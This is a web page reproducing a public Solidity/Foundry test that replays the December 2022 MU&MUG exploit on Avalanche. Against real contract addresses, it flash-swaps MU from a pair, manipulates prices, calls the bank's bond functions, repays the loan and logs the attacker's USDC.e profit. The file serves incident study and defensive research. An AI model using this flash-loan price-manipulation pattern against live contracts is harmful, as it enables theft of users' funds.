Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/MUMUG_exp.sol

Public reproduction file for dataset entry - MU&MUG.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/MUMUG_exp.sol79 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BeosinAlert/status/1601422462012469248
9// @TX
10// https://snowtrace.io/tx/0xab39a17cdc200c812ecbb05aead6e6f574712170eafbd73736b053b168555680
12interface MUBank {
13 function mu_bond(address stable, uint256 amount) external;
14 function mu_gold_bond(address stable, uint256 amount) external;
17contract ContractTest is Test {
18 MUBank Bank = MUBank(0x4aA679402c6afcE1E0F7Eb99cA4f09a30ce228ab);
19 IERC20 MU = IERC20(0xD036414fa2BCBb802691491E323BFf1348C5F4Ba);
20 IERC20 MUG = IERC20(0xF7ed17f0Fb2B7C9D3DDBc9F0679b2e1098993e81);
21 IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
22 Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
23 Uni_Pair_V2 Pair = Uni_Pair_V2(0x67d9aAb77BEDA392b1Ed0276e70598bf2A22945d); // MU MUG
24 uint256 FlashLoanAmount;
26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
28 function setUp() public {
29 cheats.createSelectFork("avalanche", 23_435_294);
30 }
32 function testExploit() public {
33 MU.approve(address(Router), type(uint256).max);
34 MUG.approve(address(Router), type(uint256).max);
35 USDC_e.approve(address(Router), type(uint256).max);
36 USDC_e.approve(address(Bank), type(uint256).max);
37 FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;
38 Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));
39 MUGToUSDC_e();
41 emit log_named_decimal_uint("[End] Attacker USDC.e balance after exploit", USDC_e.balanceOf(address(this)), 6);
42 }
44 function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
45 MUToUSDC_e();
46 Bank.mu_bond(address(USDC_e), 3300 * 1e18);
47 Bank.mu_gold_bond(address(USDC_e), 6990 * 1e18);
48 USDC_eToMU();
49 MU.transfer(address(Pair), FlashLoanAmount * 1000 / 997 + 1000);
50 }
52 function MUToUSDC_e() internal {
53 address[] memory path = new address[](2);
54 path[0] = address(MU);
55 path[1] = address(USDC_e);
56 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
57 MU.balanceOf(address(this)), 0, path, address(this), block.timestamp
58 );
59 }
61 function USDC_eToMU() internal {
62 address[] memory path = new address[](2);
63 path[0] = address(USDC_e);
64 path[1] = address(MU);
65 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
66 USDC_e.balanceOf(address(this)), 0, path, address(this), block.timestamp
67 );
68 }
70 function MUGToUSDC_e() internal {
71 address[] memory path = new address[](3);
72 path[0] = address(MUG);
73 path[1] = address(MU);
74 path[2] = address(USDC_e);
75 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
76 MUG.balanceOf(address(this)), 0, path, address(this), block.timestamp
77 );
78 }

Analysis

Dataset entry

Public Foundry test for “- MU&MUG” (2022-12-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
MU&MUG
Path
src/test/2022-12/MUMUG_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
bf412c1aea82f557d50dbf58514b3456fd371445
Language
Solidity
Size
80 lines
Date
2022-12-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/MUMUG_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bf412c1aea82f557d50dbf58514b3456fd371445, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.